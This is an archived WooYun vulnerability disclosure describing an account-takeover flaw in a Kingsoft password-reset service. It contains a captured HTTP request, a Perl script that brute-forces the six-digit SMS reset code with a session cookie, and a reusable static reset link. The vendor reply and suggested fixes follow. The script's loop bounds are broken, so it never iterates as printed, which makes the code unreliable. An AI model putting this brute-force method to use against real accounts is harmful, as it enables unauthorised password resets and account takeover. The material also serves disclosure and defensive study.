当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-012685

漏洞标题:金山某应用任意帐户密码重置漏洞

相关厂商:金山软件集团

漏洞作者: 风萧萧

提交时间:2012-09-25 10:04

修复时间:2012-11-09 10:05

公开时间:2012-11-09 10:05

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-09-25: 细节已通知厂商并且等待厂商处理中
2012-09-25: 厂商已经确认,细节仅向厂商公开
2012-10-05: 细节向核心白帽子及相关领域专家公开
2012-10-15: 细节向普通白帽子公开
2012-10-25: 细节向实习白帽子公开
2012-11-09: 细节向公众公开

简要描述:

金山某应用的用户注册、密码取回的逻辑很奇葩!我一不小心就高潮了

详细说明:

1.存在漏洞的是下面这个站点,看起来很牛逼的样子哈

https://login.ijinshan.com/login.html

还是密码取回这里,很脆弱啊!啊啊啊啊!!!


2.点击忘记密码,填写好手机号码以及验证码后点击下一步,此时服务器已经将6位纯数字的验证码发送到手机短信


3.我们尝试下错误的验证码123456看下:


这个时候抓下包,看看POST的数据是怎么样的:

POST /forget/verify/mobile HTTP/1.1
Host: i.ijinshan.com
Proxy-Connection: keep-alive
Content-Length: 16
Origin: http://i.ijinshan.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/17.0.938.0 Safari/535.8
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://i.ijinshan.com/forget/send_way
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=我的cookie(这里略了,无需登录);
resetcode=123456


4.这个cookie是非常重要的,已经对应了重置密码的帐号,所以在构造数据包时不要忘记添加cookie,另外查看错误发送错误的验证码时,返回的信息如下:

HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Mon, 24 Sep 2012 15:00:14 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.14
Content-Length: 57
{"retnum":-400,"errmsg":"\u9a8c\u8bc1\u7801\u9519\u8bef"}


也就是说返回的关键字包含"-400"或者"验证码错误"的字样,即表示验证失败,反之就获得成功的验证码。
我写了一个简单的破(perl)代码,目前还是单线程,也贴在这里了

#!C:/Perl/bin/perl.exe
use strict;
use LWP::Simple;
use HTML::TreeBuilder;
use Tie::File;
require HTTP::Cookies;
sub usage {
print "Kingsoft Password Reset Bug! Find by kunting520!\n";
print "example: perl getpwd.pl cookie isproxy\n";
exit;
}
if ($#ARGV < 1) { usage; }
my $cookie = $ARGV[0];
my $isproxy = $ARGV[1];
my @results;
my $result_count = 0;
#tie @results, 'Tie::File', $filename ;
my @htmls;
my $ua = new LWP::UserAgent;
if( $isproxy eq 'true'){
$ua->proxy('http', 'http://127.0.0.1:8080');
}
my @header=(
'Host' => 'i.ijinshan.com',
'User-Agent'=>'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1',
'Accept' => '*/*',
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => 'http://i.ijinshan.com/forget/send_way',
'Accept-Charset' => 'gzip, deflate',
'Accept-Language' => 'zh-CN,zh;q=0.8',
'Accept-Encoding' => 'gzip,deflate,sdch',
'Proxy-Connection' => 'keep-alive\r\n',
'Cookie'=> $cookie
);
$ua->default_header(@header);
my $code=0;
my $url = 'http://i.ijinshan.com/forget/verify/mobile';
for($code=1000000;$code<999999;$code++)
{
my $response = $ua->post( $url ,{'resetcode'=>$code} );
my $con = $response->content;
if($con =~ /-400/) {next;}
else {print $response->as_string;last;}
#sleep(1);
}

漏洞证明:

5.嗯,跑下代码吧!发送的数据包 包含有正确的验证码时,返回的errmsg是重置密码的关键了,看图


6.将errmsg的值拷贝下来,使用下面的这个链接即可成功取回密码,也就是可以重置新的密码了

http://i.ijinshan.com/forget/modify?authcode="errmsg's value"

呵呵,恭喜欧文密码重置成功了


7.在用户注册时,也是同样存在这个问题的,可以被暴力验证,也截个图啦:


8.最奇葩的逻辑在这里,重中之重!!!每次取回密码的链接都是一样的!!!都是一样的,一个字母都不差!!!只要记住下面这个链接,即使不用点击取回密码、不用发送短信,一样可以重置密码!!!神了!!!!

http://i.ijinshan.com/forget/modify?authcode="errmsg's value"

修复方案:

1.注册帐号时,链接的m参数可以更复杂些,而不是6位纯数字;
2.密码取回时,设置强有力的短信验证码,以免被暴力破解;
3.密码取回连续多次失败时,设置此次密码取回无效,需重新发送验证码;
4.最奇葩的那个"一次取回、永久使用"的链接问题,我不懂了,程序员当时是怎么想的?
5.最重要的是,20rank和礼物!

版权声明:转载请注明来源 风萧萧@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-09-25 10:35

厂商回复:

收到,
手机验证码安全这块与用户体验这块是个难平衡的点;然后后面的手机验证码是有时效性的,并不是一直都不变;同时我们也有考虑不周的地方比如请求限制频率和来源等;

最新状态:

2013-01-23:已修复


漏洞评价:

评论

  1. 2012-09-25 10:40 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    @金山软件集团 这个案例里面,验证码已经不重要了!关键是获得authcode!这个值是永久不变的,对吧!

  2. 2012-11-09 10:19 | PCanyi ( 路人 | Rank:25 漏洞数:6 | 【为自己吹下的牛逼奋斗终身!】 幻想着改...)

    sessionid与验证码绑定了吗?感觉不太像。这个sessionid应该是请求的时候服务端自动生成的吧。如果重新向服务端提交请求,新返回的sessionid应该也可以的。你的思路很好,爆破手机验证码。我觉得金山公司的修补方案并不应该是手机验证码的时效性,当计算机运行速度越来越快,带宽越来越多的时候,时效性并不能解决这个问题。手机验验证码应该设置错误重置次数,5次是比较合理的。